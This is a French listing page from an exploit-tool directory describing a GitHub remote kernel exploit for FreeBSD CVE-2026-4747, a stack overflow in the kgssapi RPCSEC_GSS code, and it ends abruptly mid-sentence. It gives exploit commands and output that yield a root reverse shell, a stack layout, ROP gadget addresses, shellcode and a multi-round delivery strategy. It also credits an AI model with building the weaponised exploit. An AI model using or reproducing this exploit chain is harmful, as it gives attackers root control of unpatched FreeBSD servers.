Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-4747- — Exploit noyau à distance pour FreeBSD CVE-2026-4747, exploitant un débordement de tampon de pile dans kgssapi.ko pour obtenir une exécution de code à distance (RCE) avec un shell inversé. Inclut une livraison ROP multi-tours et des instructions d'installation détaillées. | Kitploit
Outils/GitHubGitHub/kaleth4/cve-2026-4747-
Frameworks d'ExploitationAnalyse des VulnérabilitésExploitationRétro-ingénierieDéveloppement de Charges UtilesExploitation de Binaires
GitHubkaleth4/cve-2026-4747-

CVE-2026-4747-

Exploit noyau à distance pour FreeBSD CVE-2026-4747, exploitant un débordement de tampon de pile dans kgssapi.ko pour obtenir une exécution de code à distance (RCE) avec un shell inversé. Inclut une livraison ROP multi-tours et des instructions d'installation détaillées.

Voir le dépôt
1il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-4747 : Exécution de code à distance dans le noyau FreeBSD

Premier exploit de noyau à distance découvert et exploité par une IA


📋 Résumé rapide

AspectDétail
CVECVE-2026-4747
VulnérabilitéDépassement de tampon de pile dans kgssapi.ko (RPCSEC_GSS)
ImpactExécution de code à distance dans le noyau → shell inverse uid 0
Systèmes affectésFreeBSD 13.5, 14.3, 14.4, 15.0 (versions non corrigées)
Découvert parNicholas Carlini utilisant Claude (Anthropic)
Date de l'avis2026-03-26
Temps d'exploitation~8 heures (4 heures de travail réel de Claude)

🎯 Chronologie

  • 2026-03-26 : FreeBSD publie l'avis CVE-2026-4747
  • 9h45 PDT 2026-03-29 : Demande à Claude de développer un exploit
  • 17h00 PDT 2026-03-29 : Claude livre un exploit fonctionnel avec shell inverse uid 0

🚀 Démonstration en direct

root@kitploit:~
python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444

Sortie :

root@kitploit:~
==============================================================
  CVE-2026-4747 : FreeBSD RPCSEC_GSS Remote Kernel RCE
  Stack overflow → ROP → shellcode → shell inverse uid 0
==============================================================

  Cible :   127.0.0.1:2049
  Rappel : 10.0.2.2:4444
  SPN :     nfs/[email protected]

  Shellcode : 432 octets (54 qwords)
  Livraison : 15 tours (1 pmap + 14 write)

  [R1/15]  pmap_change_prot(BSS, 0x2000, RWX) ✓
  [R2/15]  write (4 qwords → 0xffffffff8198a800) ✓
  [R3/15]  write (4 qwords → 0xffffffff8198a820) ✓
  ...
  [R15/15] write + EXECUTE (2 qwords) → SAUT 0xffffffff8198a800 ✓

  [*] Shellcode livré et en cours d'exécution
  [*] kproc_create → kern_execve('/bin/sh -c ...')
  [*] Shell inverse → 10.0.2.2:4444

  [+] Connexion depuis 127.0.0.1:41320
  [+] Shell obtenu !

sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)

🔍 Qu'a fait Claude ?

Claude a résolu 6 problèmes techniques distincts pour passer d'un avis à un shell inverse fonctionnel :

1️⃣ Configuration du laboratoire

  • VM FreeBSD 14.4-RELEASE avec NFS + Kerberos
  • Exigence critique : 2+ CPU (l'exploit tue 1 thread NFS par tour, nécessite 15 tours)
  • Débogage à distance pour lire les crash dumps du noyau

2️⃣ Livraison multi-paquets

  • Le shellcode de 432 octets ne tient pas dans 1 paquet (limite XDR : 400 octets)
  • Solution : 15 tours de dépassement
    • Tour 1 : pmap_change_prot() → BSS exécutable
    • Tours 2-14 : Écrit le shellcode 32 octets par tour
    • Tour 15 : Derniers 16 octets + saut vers le shellcode

3️⃣ Sortie propre des threads

  • Chaque dépassement détourne un thread worker NFS
  • Utilise kthread_exit() pour terminer proprement (sans panique du noyau)
  • Le serveur NFS reste actif pour le tour suivant

4️⃣ Débogage des offsets (motif De Bruijn)

  • Le désassemblage initial indiquait RIP à l'octet 168 → INCORRECT
  • Claude a envoyé un motif De Bruijn cyclique
  • Lecture du crash dump du noyau → offset réel : octet 200
  • Différence de 32 octets : en-tête GSS + gestion du contexte

5️⃣ Transition noyau → espace utilisateur

  • Les threads NFS sont des threads noyau purs (sans vmspace, sans trapframe)
  • Solution en deux phases :
    • Phase 1 : kproc_create() → nouveau processus avec infrastructure mode utilisateur
    • Phase 2 : kern_execve("/bin/sh") → charge l'ELF, configure le trapframe, nettoie le flag P_KPROC
    • Résultat : /bin/sh s'exécute en ring 3 en tant que uid 0

6️⃣ Mystère des registres de débogage (DR7/DDB)

  • Le worker plantait avec trap 1 (exception de débogage) sur une instruction valide
  • Cause : kproc_create() hérite des registres de débogage du parent
  • Les paniques précédentes avaient activé DDB → points d'arrêt matériels persistants
  • Correctif : Nettoyer DR7 avant kproc_create()

🏗️ Architecture technique

Disposition de la pile (vérifiée avec De Bruijn)

root@kitploit:~
Corps de l'identifiant d'octet → Cible de la pile
[0..35]              → En-tête GSS (version, proc, seq, svc, handle)
[36..151]            → Remplissage (reste rpchdr + variables locales)
[152..199]           → Registres sauvegardés (RBX, R12, R13, R14, R15, RBP)
[200..207]           → ADRESSE DE RETOUR ← Premier gadget ROP
[208..399]           → Chaîne ROP (192 octets = 24 qwords)

Gadgets ROP (FreeBSD 14.4-RELEASE)

GadgetAdresseObjectif
pop rdi; retK+0x1adcdaArg 1 (rdi)
pop rsi; retK+0x1cdf98Arg 2 (rsi)
pop rdx; retK+0x5fa429Arg 3 (rdx)
pop rax; retK+0x400cb4Valeur à écrire
mov [rdi], rax; ret0xffffffff80e3457cÉcriture arbitraire de 8 octets

Où K = 0xffffffff80200000 (base du noyau, sans KASLR sur FreeBSD 14.x)

Shellcode (432 octets)

Phase 1 - Entrée (thread NFS détourné) :

root@kitploit:~
mov rax, 0xffffffff8198bf00    ; Pivot de pile vers BSS
mov rsp, rax
xor eax, eax
mov dr7, rax                    ; Nettoie les points d'arrêt matériels
call rbx                        ; kproc_create (préchargé dans RBX)
mov rax, kthread_exit
call rax                        ; Termine le thread proprement

Phase 2 - Worker (nouveau processus noyau) :

root@kitploit:~
; Configure les arguments pour kern_execve
lea rdi, [rbp - 0x80]          ; &image_args
mov rsi, "/bin/sh"
mov edx, 1                      ; UIO_SYSSPACE
call exec_args_add_fname

; Ajoute "-c" et la commande du shell inverse
; ...

; Exécute /bin/sh
mov rdi, gs:[0]                 ; curthread
mov rax, [rdi + 0x08]           ; proc
call kern_execve

; Nettoie le flag P_KPROC
and byte [rax + 0xb8], 0xfb    ; Permet la transition vers l'espace utilisateur
ret                             ; → fork_exit → userret → iretq → ring 3

🛠️ Configuration de la cible

Option A : QEMU (automatisé avec cloud-init)

root@kitploit:~
# Téléchargement de l'image
wget https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/\
FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
xz -d FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
qemu-img resize FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2 8G

# Configuration cloud-init
cat > user-data << 'EOF'
#cloud-config
chpasswd:
  list: |
    root:freebsd
  expire: False
runcmd:
  - kldload kgssapi
  - sysrc rpcbind_enable=YES nfs_server_enable=YES
  - service rpcbind start && service nfsd start
EOF

# Démarrage avec redirection de ports
qemu-system-x86_64 -enable-kvm -m 2G -smp 2 \
  -drive file=freebsd-vuln.qcow2,format=qcow2,if=virtio \
  -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
  -device virtio-net-pci,netdev=net0 -nographic

Option B : VMware / VirtualBox / bhyve (manuel)

Exigences :

  • 2+ CPU (critique : 8 threads NFS/CPU, l'exploit nécessite 15 tours)
  • 2 Go de RAM, 8 Go de disque
  • FreeBSD 14.4-RELEASE

Configuration dans la VM :

root@kitploit:~
# 1. Installer Kerberos
pkg install -y krb5

# 2. Créer le KDC
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
    default_realm = TEST.LOCAL
[realms]
    TEST.LOCAL = {
        kdc = 127.0.0.1
        admin_server = 127.0.0.1
    }
EOF

# 3. Initialiser la base de données KDC
/usr/local/sbin/kdb5_util create -s -P masterkey -r TEST.LOCAL

# 4. Créer les principals (remplace "test" par ton hostname)
/usr/local/sbin/kadmin.local -q "addprinc -pw password [email protected]"
/usr/local/sbin/kadmin.local -q "addprinc -randkey nfs/[email protected]"
/usr/local/sbin/kadmin.local -q "ktadd -k /etc/krb5.keytab nfs/[email protected]"

# 5. Démarrer le KDC
/usr/local/sbin/krb5kdc

# 6. Configurer NFS
mkdir -p /export
echo '/export -network 0.0.0.0/0' > /etc/exports

# 7. Activer les services
sysrc rpcbind_enable=YES nfs_server_enable=YES gssd_enable=YES
service rpcbind start && service nfsd start

# 8. Vérifier
sysctl vfs.nfsd.threads        # Doit afficher 16 (avec 2 CPU)
sockstat -l | grep 2049        # Doit afficher tcp4/tcp6

Configuration sur l'hôte attaquant (Linux)

root@kitploit:~
# 1. Installer les paquets
sudo apt install krb5-user libkrb5-dev python3-gssapi
pip install gssapi

# 2. Configurer /etc/krb5.conf
sudo tee /etc/krb5.conf << EOF
[libdefaults]
    default_realm = TEST.LOCAL
    rdns = false                       # CRITIQUE : évite la canonicalisation DNS
    dns_canonicalize_hostname = false
[realms]
    TEST.LOCAL = {
        kdc = VM_IP:KDC_PORT           # 127.0.0.1:8888 (QEMU) ou 192.168.x.x:88 (bridged)
    }
EOF

# 3. Ajouter le hostname à /etc/hosts
echo "VM_IP test" | sudo tee -a /etc/hosts

# 4. Obtenir le ticket Kerberos
echo "password" | kinit [email protected]
klist

# 5. (Optionnel) Installer ROPgadget pour trouver de nouveaux gadgets
pip install ROPgadget

🎪 Stratégie d'exploitation

Tour 1 : Rendre BSS exécutable

root@kitploit:~
Chaîne ROP :
  pop rdi          → rdi = 0xffffffff8198a000 (page BSS)
  pop rsi          → rsi = 0x2000 (2 pages = 8 Ko)
  pop rdx          → rdx = 7 (VM_PROT_ALL = RWX)
  pmap_change_prot → change les permissions en RWX
  pop rdi          → rdi = 0
  kthread_exit     → termine le thread proprement

Tours 2–14 : Écrire le shellcode

Chaque tour écrit 32 octets (4 qwords) dans BSS :

root@kitploit:~
Modèle de chaîne ROP :
  pop rdi          → rdi = BSS_SC + offset
  pop rax          → rax = shellcode_qword
  mov [rdi], rax   → écrit 8 octets
  (répéter 3 fois de plus)
  pop rdi          → 0
  kthread_exit     → termine

Coût : 40 octets ROP/8 octets écrits → 15 tours au total

Tour 15 : Saut vers le shellcode

root@kitploit:~
Chaîne ROP :
  pop rdi          → rdi = BSS_SC + 416
  pop rax          → rax = dernier qword
  mov [rdi], rax   → écrit
  (répéter)
  BSS_SC           → SAUT VERS LE SHELLCODE !

🐛 Défis résolus

ProblèmeCauseSolution
Offset RIP incorrectLe désassemblage statique ne comptait pas l'en-tête GSSMotif De Bruijn + lecture du crash dump
Incompatibilité MIT/HeimdalCanonicalisation DNS du hostnamerdns = false + dns_canonicalize_hostname = false
Trap 1 dans le workerRegistres de débogage hérités de DDBNettoyer DR7 avant kproc_create()
Le shellcode ne tient pas432 octets > 400 octets (limite XDR)Livraison en
Télécharger l’outil